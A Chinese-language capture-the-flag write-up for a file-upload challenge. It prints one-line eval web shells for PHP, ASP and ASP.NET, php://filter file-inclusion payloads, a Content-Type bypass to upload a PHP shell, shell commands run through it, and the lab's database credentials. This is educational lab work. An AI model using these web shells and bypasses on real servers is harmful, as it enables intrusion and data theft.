2020.09.21
經驗教訓
- 文件包含漏洞,想到
php://input
和php://filter/read=convert.base64-encode/resource=index.php
- 中國菜刀支持的一句話
<?php @eval($_POST['pass']);?>
ASP: <%eval request("pass")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
Do you know upload?
https://www.ichunqiu.com/battalion
- 打開鏈接,查看源碼,發現提示消息,看起來是文件包含漏洞,想到
php://input
和php://filter/read=convert.base64-encode/resource=index.php
- 構造payload,查看index.php源碼,
- base64解碼后如下,只貼php部分
<?php
include($_GET['file']);
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);
if(@isset($_POST[submit])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))){
if ($_FILES["file"]["error"] > 0){
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}else{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
//echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}else{
echo "<script>alert('文件類型不允許')</script>";
echo "Invalid file";
}
}else{
// echo "Invalid file";
}
?>
- 以我的分析,他只是過濾了文件type,這個應該通過修改content-type就能改,試試
- 果然,只修改了一個參數就成功上傳了
- 我們嘗試訪問上傳的php文件
upload/decry.php?qwk=whoami
,訪問成功
-upload/decry.php?qwk=ls ../
,發現config.php
upload/decry.php?qwk=cat ../config.php
,想看看有啥內容,竟然是空白的,這里不給看,但是爺有的是辦法,用之前的文件包含漏洞🤓
?file=php://filter/read=convert.base64-encode/resource=config.php
,成功得到內容,轉碼后如下,看桑去我們的到來數據庫的密碼,該怎么利用呢
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";
// 創建連接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($database);
?>
- 不知道怎么來操作數據庫,本來想用中國菜刀,但是不知道為啥,菜刀一直連不上,那只能想點別的辦法了,
- 原來是這樣,菜刀支持的一句話是這樣的`<?php @eval($_POST('qwk')); ?>`,我多加了一個echo……
- 根據之前得到的config文件內容配置菜刀
<T>MYSQL</T>
<H>localhost</H>
<U>ctf</U>
<P>ctfctfctf</P>
- 配置成功了但是數據庫里啥也沒有,難不成被人刪除了???